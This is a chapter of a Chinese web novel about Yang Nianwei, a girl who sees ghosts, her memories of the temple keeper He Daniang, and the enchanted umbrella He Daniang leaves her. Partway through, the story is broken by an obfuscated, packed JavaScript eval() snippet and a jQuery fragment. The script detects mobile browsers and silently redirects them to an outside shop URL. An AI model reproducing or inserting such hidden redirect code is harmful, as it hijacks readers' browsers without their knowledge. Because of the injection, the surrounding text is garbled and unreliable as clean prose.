杨念薇接过捕头拿来的钱袋,打开细数,一分没少,扯扯嘴角松了口气。杨家是不能回去了。她本来就打算离开杨家村来县里做生意,今日之事不过把计划提前了。
还有一件事需要弄明白。
杨念薇从钱袋里抓出一吊钱,塞在捕头手中,心里一阵肉疼,那是她没日没夜制伞、卖伞存了俩月的钱,脸上却带着笑意:“捕头大哥辛苦了。今日之事多亏县衙来得及时。这点小意思请大家吃酒。”
周围老百姓有事相求,拿点东西孝敬县衙中人是常事。这个中年捕快罕见地推回那吊钱:“新上任的潘大人管得严,为民申冤是分内之事,这可不敢收。姑娘,我看你也不容易,这些钱你自己留着用吧。我姓周,县衙捕头,以后再有难事就到县衙来。”
杨念薇连声道谢,心想这位周捕头怪有人情味的,不像那位高高在上的潘大人。瞧四下无人,她低声问道:“捕头大哥,能否告诉我谁帮我报的案呀?我也好报答人家。”
周捕头脸上闪过一丝异样的神色,咂摸两下嘴,犹豫片刻方说:“怪就怪在这里!三更半夜击鼓鸣冤,门房老金出门一看没人,只有一纸诉状。”顿了顿,又问:“姑娘你可有那种藏头不露尾的朋友?”
杨念薇摇头。
周捕头不信。在公堂上发生那样怪异的事,杨家人又说此女专招不干净的东西,事无蹊跷是不可能的。故而压低声音:“这事你可别说我说的,昨晚潘大人吩咐过的,不准传鬼怪谣言。”
杨念薇点头。
她心里隐约有答案了。这世上除了何大娘,不会有第二个人会为她半夜击鼓鸣冤。只是何大娘怎么知道她被关在家里迫嫁?又为何不露面?去后土娘娘庙寻何大娘便知。
******
八岁那年,杨念薇第一次见到何大娘,是在杨家村后山乱坟岗子。
杨屠户说带她上山采箘子。夜里露水重,箘盖表面温润反光,民间经验丰富的采箘人提灯进山,常能发现不少箘子。可是哪儿有人去乱坟岗采箘子?
“阿爹,这里真的有箘子吗?”八岁的杨念薇缩着脖子,四周林立的无主墓碑、扑倒的棺材板、高得吓人的杂草,都让她不想往前走。
“让你来就来,小孩子那么多屁话。”杨屠户指着一处棺材板上发出幽幽绿光的伞盖植物:“你在这儿挖,我去解手。”
杨念薇蹲下,伸手去拔那棵植物,一触到伞盖上黏糊糊的液体,立即缩回手。这才不是箘子,阿爹看走眼了。
过了许久,杨屠户没有再回来。
“阿爹不是走了吧?阿爹……”
杨念薇小小的身子在密林中穿行,怎么也找不到回家的路。寒意袭来,单薄的身子发着抖。雾气越来越重,灯笼里的蜡烛这时候熄灭了。
她停在那里,再也不敢挪动脚。前方,一团黑影乱舞起来,似乎是很多个人影黏糊在一起向她游过来。不是人的东西,她能看见!村里人排斥她,认为她是不祥之人。还是小孩子的她更加没办法接受自己看见的东西。
杨家村人迷信,常拿乱坟岗有鬼吓唬不听话的孩子。
八岁的杨念薇张大了嘴巴,撒开两条腿拼命在黑暗中奔逃。一头撞上了前方闪着光的影子,杨念薇直接吓晕了过去。
她醒来的时候发现自己睡在一个蒲团上,亮堂堂的,不似乱坟岗。
“你醒啦。别害怕,这里是后土娘娘庙,我是这里的庙祝,姓何。”一个慈眉善目的大娘对她笑着。
杨家村人供奉许多神祇,逢年过节最热闹的是关帝庙和观音寺,后土娘娘庙少人来,杨念薇只听大人们说起这个地方,没有来过。
后土娘娘神像头戴冠冕,端庄慈祥,与说话的大娘感觉相似。杨念薇恭敬地朝神像一拜,跑过来扯着何大娘的衣角:“多谢大娘带我回来。”
何大娘有些心疼地看着她:“大晚上的你一个人去那儿干什么呢?要不是我去送东西正好路过,你在那儿得多危险啊!”
杨念薇一听,呜呜哭起来:“村里人都说我是扫把星。我爹娘不要我了。”
她抽抽噎噎说完原委,何大娘好容易听完了,摸着她的头说:“别听那些大人胡说。”
第二天何大娘就把她送回家了,还撂下话,后土娘娘见不得对小孩不好的人家。后土娘娘是大地之母,幽冥之神,亡魂之地幽都真正的主宰,在杨家村人看来老庙祝的话不能轻视,杨念薇这才留了下来。
自那次以后,每月十五杨念薇都要去庙里一趟,让何大娘用供台上的柳枝水点洒在身上。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940412|213902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“后土娘娘保佑,邪祟退散。”何大娘洒柳枝水时是这么说的。因此,杨念薇很少再看见那些东西。
长大后有一天,何大娘告诉她:“你出生于中秋前夜月最圆时,是太阴命格,注定站在阴阳两界边上。你不去找他们,那些东西自会找你。”
她一直觉得何大娘是个不凡的人,对何大娘的话深信不疑。杨念薇惶惑道:“大娘,难道真如村里人说的一样,我是个天生的扫把星?”
何大娘点燃一支香,稳稳插在后土娘娘神像前的香炉里,语气肃然道:“不,那是不识相的凡人说的话。”
她递过一炷香,让杨念薇礼拜后土娘娘,才继续说:“万事万物各有各的位置,人活着在人间,死后魂归幽都。可是有些亡魂因生前怨气太重,没法通过阴阳之间的‘界’,游荡在人间。后土娘娘为了维持秩序,会在人间选择特殊命格的人担任‘渡引使者’。”
杨念薇似懂非懂:“渡引使者要做什么?”
何大娘说:“机缘到了,你便会知道。”
赶到后土娘娘庙,杨念薇没有看见老庙祝。何大娘早年丧父,膝下无子,就住在庙里。杨念薇看见房间门框上的大白纸花,心猛然一跳。
村长领着几个人来料理后事,看见杨念薇,让人从何大娘房里抬出一个破旧的木箱。
“大侄女啊,何大娘走之前让人把这个箱子给你,拿回去吧。”
杨念薇眼眶含泪:“何大娘去世了?”
村长点头:“走得很急。不过撒手之前没什么痛苦,就是老死的。已经下葬了。”
杨念薇在何大娘墓前守灵三天。何大娘留下的破旧木箱放在身边。她已经决定要离开杨家村了,大木箱不好搬抬,便在离开前打开。大木箱很空,只放着一把伞。那伞玄黄色伞面,上有云纹,伞骨似用玄铁构成,看着坚不可摧。
这把看上去平平无奇的伞,何大娘每次去乱坟岗“送”东西都会带着。
“这把伞在后土娘娘面前开过光,能保佑人哩。”何大娘曾这么跟她说。
杨念薇又哭了一场,何大娘临终前还想着她,将这把伞交给她,就是希望她平平安安,无灾无祸的意思。
她带着可以遮风避雨的伞离开了杨家村,头也不回。